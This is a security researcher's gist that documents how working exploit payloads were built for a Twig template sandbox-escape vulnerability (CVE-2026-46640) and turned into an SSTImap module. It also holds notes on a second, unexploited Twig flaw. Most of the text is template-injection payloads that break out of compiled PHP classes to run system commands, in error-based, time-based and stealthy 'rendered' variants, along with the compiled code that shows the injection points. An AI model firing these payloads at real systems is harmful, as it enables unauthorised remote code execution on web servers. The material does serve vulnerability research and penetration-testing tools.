Skip to content

Instantly share code, notes, and snippets.

@vladko312
Created June 6, 2026 23:55
Show Gist options
  • Select an option

  • Save vladko312/39507beaa58eacf3b62e6a6e6cd69128 to your computer and use it in GitHub Desktop.

Select an option

Save vladko312/39507beaa58eacf3b62e6a6e6cd69128 to your computer and use it in GitHub Desktop.
This research documents my development of payloads for the CVE-2026-46640.

CVE-2026-46640 writeup

Report version Last modified CVE-2026-46640 SSTImap module

I recently learned about multiple sandbox bypasses discovered in Twig by project Glasswing. From the descriptions, only CVE-2026-46640 and CVE-2026-46633 seemed universally exploitable, so I decoded to research them. This writeup documents my development of payloads for the CVE-2026-46640 and the corresponding SSTImap module.

Initial observations

From the descriptions, both CVE-2026-46640 and CVE-2026-46633 seemed deceptively simple. I decided to focus on CVE-2026-46640 first, as it did not seem to involve any escaping.

Simply trying to recreate the payload from the description allowed me to confirm the presence of code injection using syntax errors:

{{_self.(" test ")}}

I discovered a way to avoid a syntax error, but got no code execution and the same error as for a regular text string:

{{_self.(" ;system('sleep 5');// ")}}

It seems like this error occurs before the injected code is reached. I decided to check the generated code to better understand the injection context.

Compiled template analysis

<?php

use Twig\Environment;
use Twig\Error\LoaderError;
use Twig\Error\RuntimeError;
use Twig\Extension\CoreExtension;
use Twig\Extension\SandboxExtension;
use Twig\Markup;
use Twig\Sandbox\SecurityError;
use Twig\Sandbox\SecurityNotAllowedTagError;
use Twig\Sandbox\SecurityNotAllowedFilterError;
use Twig\Sandbox\SecurityNotAllowedFunctionError;
use Twig\Source;
use Twig\Template;
use Twig\TemplateWrapper;

/* tpl */
class __TwigTemplate_575a870d8cf1f6c0da148c3829610465 extends Template
{
    private Source $source;
    /**
     * @var array<string, Template>
     */
    private array $macros = [];

    public function __construct(Environment $env)
    {
        parent::__construct($env);

        $this->source = $this->getSourceContext();

        $this->parent = false;

        $this->blocks = [
        ];
    }

    protected function doDisplay(array $context, array $blocks = []): iterable
    {
        $macros = $this->macros;
        // line 1
        yield $this->getTemplateForMacro("macro_ ;system('sleep 5');// ", $context, 1, $this->getSourceContext())->macro_ ;system('sleep 5');// (...[]);
        yield from [];
    }

    /**
     * @codeCoverageIgnore
     */
    public function getTemplateName(): string
    {
        return "tpl";
    }

    /**
     * @codeCoverageIgnore
     */
    public function isTraitable(): bool
    {
        return false;
    }

    /**
     * @codeCoverageIgnore
     */
    public function getDebugInfo(): array
    {
        return array (  42 => 1,);
    }

    public function getSourceContext(): Source
    {
        return new Source("", "tpl", "");
    }
}

As you might notice, the only two places, where the payload is used, are in the same line of code inside doDisplay function:

yield $this->getTemplateForMacro("macro_ ;system('sleep 5');// ", $context, 1, $this->getSourceContext())->macro_ ;system('sleep 5');// (...[]);

The first time, our payload is correctly escaped inside the string, but the second injection point allows arbitrary code. The injected code is not executed, since getTemplateForMacro right before it causes a fatal error.

First payload

Since our code inside doDisplay will never be reached, we need to escape the context of that function and inject the code there. Fully escaping the class definition would be possible, but it would make the payload very long.

As a result, I decided to try injecting a function inside the generated class. The part after the injection contains yield, turning that function into a generator. Since a lot of useful overridable functions can't be generators, I added an unused second function.

For a simple payload I decided to use __destruct(), as the object will be destroyed after the error:

{{_self.(";}function __destruct(){system('id');}function a(){//")}}

This payload worked and printed the command output after the error message. Since PHP allows changing error visibility inside dhe code, I made a proper Error-Based payload:

{{_self.(";}function __destruct(){error_reporting(1);ini_set('display_errors', 1);call_user_func(shell_exec('id'));}function a(){//")}}

I also used the same payload idea to create Time-Based Blind payload:

{{_self.(";}function __destruct(){system('id && sleep 5');}function a(){//")}}

Second payload

The previous approach of bypassing the error does not prevent rendering from breaking. Boolean Error-Based Blind exploitation would be more stable if the page would be rendered normally.

The fatal error is caused by getTemplateForMacro function defined in the parent Twig class. This allows us to override this function inside our injected code:

{{_self.(";}function getTemplateForMacro(string $name,array $context,int $line,Twig\\Source $source):Twig\\Template{system('id');return $this;}function a(){//")}}

This already works, printing the command output, but generates a warning. This is bad, as it might break automatic detection or cause some WAF to block the response. The warning can be removed by defining a variable called $macro_:

{{_self.(";}public $macro_='';function getTemplateForMacro(string $name,array $context,int $line,Twig\\Source $source):Twig\\Template{system('id');return $this;}function a(){//")}}

This payload gives us a form of rendered code execution, but there is still a problem. If we only control a part of the template (e.g. using SSTI), the part after our payload will not be rendered.

We already captured the rest of the rendering function inside our unused function a(). To finish the rendering process we can use yield from syntax:

{{_self.(";yield from $this->a();}public $macro_='';function getTemplateForMacro(string $name,array $context,int $line,Twig\\Source $source):Twig\\Template{system('id');return $this;}function a(){//")}}

This payload was used for Rendered and Boolean Error-Based Blind payloads in my SSTImap module.

While writing this writeup, I discovered another problem. This payload overrides the getTemplateForMacro function and so will break the rendering of real macros.

To fix that, we can add a keyword inside the comment and call parent::getTemplateForMacro if it is not present:

{{_self.(";yield from $this->a();}public $macro_='';function getTemplateForMacro(string $name,array $context,int $line,Twig\\Source $source):Twig\\Template{if(!str_contains($name,'sstimap')){return parent::getTemplateForMacro($name,$context,$line,$source);}system('id');return $this;}function a(){//sstimap")}}

This payload will only override getTemplateForMacro behaviour for macro names containing sstimap.

SSTImap module

Adapting payloads for the SSTImap module was quite easy, since the code injection is not restricted. I was able to mostly reuse PHP code injection payloads as the injected code with minimal modifications.

The only problem I encountered was related to the difference between the two discovered payloads. I initially used a full __destruct()-based injection payload for file uploads. For integrity verification, payload provided PHP code to be evaluated by technique-specific payloads.

This caused the problem, as the two different payloads execute injected code at different steps of the rendering. If the file was uploaded to a relative path, upload and verification might be executed in different directories:

  • Rendered and Boolean Error-Based Blind are executed inside the website directory as part of regular rendering (as if the code was in the webpage).
  • Error-Based and Time-Based Blind payloads are executed in the working directory of the webserver, as they are triggered after a fatal error already broke rendering.

Note on CVE-2026-46633

Since CVE-2026-46633 affects all prior versions, it would be a much more useful plugin. Not only would it provide sandbox escapes for Twig >=3.3.8 <3.15.0, but it would allow code injection and sandbox bypasses for older Twig versions. Currently, there are no known universal payloads for Twig >1.19 <2.10, even for unsandboxed environments.

I researched CVE-2026-46633, but I was unable to reach the execution of the injected code. I'm not sure if it is possible, so I will present my findings in case someone will figure it out. Working RCE payloads are always welcome in PRs/issues of the SSTImap extras repo.

Code injection is possible using with ... as ... syntax of the {% use ... %} tag and can be verified with a syntax error:

{% use "' test" with a as b %}

The injected payload is escaped, which breaks a lot of potential execution strategies:

  • I was unable to bypass the escaping of characters like " and $.
  • Single quotes are not escaped, which is the source of the vulnerability.
  • Backslash-based escapes are evaluated before escaping (e.g. \x24 becomes \$)

As in CVE-2026-46640, the code is injected inside a function after a fatal error.

  • The injection is inside the __construct(), so __destruct() is never called.
  • Escaping of $ prevents us from defining functions with arguments.
  • I was unable to find overridable functions that would be executed.
  • Escaping class definition would require defining doDisplay with arguments.

Here is the compiled template code, for the better understanding of the injection context:

<?php

use Twig\Environment;
use Twig\Error\LoaderError;
use Twig\Error\RuntimeError;
use Twig\Extension\CoreExtension;
use Twig\Extension\SandboxExtension;
use Twig\Markup;
use Twig\Sandbox\SecurityError;
use Twig\Sandbox\SecurityNotAllowedTagError;
use Twig\Sandbox\SecurityNotAllowedFilterError;
use Twig\Sandbox\SecurityNotAllowedFunctionError;
use Twig\Source;
use Twig\Template;
use Twig\TemplateWrapper;

/* tpl */
class __TwigTemplate_7c8284d2594a88410ebde0c1e95bd736 extends Template
{
    private Source $source;
    /**
     * @var array<string, Template>
     */
    private array $macros = [];

    public function __construct(Environment $env)
    {
        parent::__construct($env);

        $this->source = $this->getSourceContext();

        $this->parent = false;

        // line 1
        $_trait_0 = $this->loadTemplate("' test", "tpl", 1);
        if (!$_trait_0->unwrap()->isTraitable()) {
            throw new RuntimeError('Template "'."' test".'" cannot be used as a trait.', 1, $this->source);
        }
        $_trait_0_blocks = $_trait_0->unwrap()->getBlocks();

        if (!isset($_trait_0_blocks["a"])) {
            throw new RuntimeError('Block "a" is not defined in trait "' test".', 1, $this->source);
        }

        $_trait_0_blocks["b"] = $_trait_0_blocks["a"]; unset($_trait_0_blocks["a"]); $this->traitAliases["b"] = "a";

        $this->traits = $_trait_0_blocks;

        $this->blocks = array_merge(
            $this->traits,
            [
            ]
        );
    }

    protected function doDisplay(array $context, array $blocks = []): iterable
    {
        $macros = $this->macros;
        yield from [];
    }

    /**
     * @codeCoverageIgnore
     */
    public function getTemplateName(): string
    {
        return "tpl";
    }

    /**
     * @codeCoverageIgnore
     */
    public function getDebugInfo(): array
    {
        return array (  35 => 1,);
    }

    public function getSourceContext(): Source
    {
        return new Source("", "tpl", "");
    }
}

Code is unsafely injected on line 42 (only present when using with ... as ... syntax):

throw new RuntimeError('Block "a" is not defined in trait "' test".', 1, $this->source);

Without syntax error, the execution is interrupted by fatal error caused by line 35:

$_trait_0 = $this->loadTemplate("' test", "tpl", 1);
Sign up for free to join this conversation on GitHub. Already have an account? Sign in to comment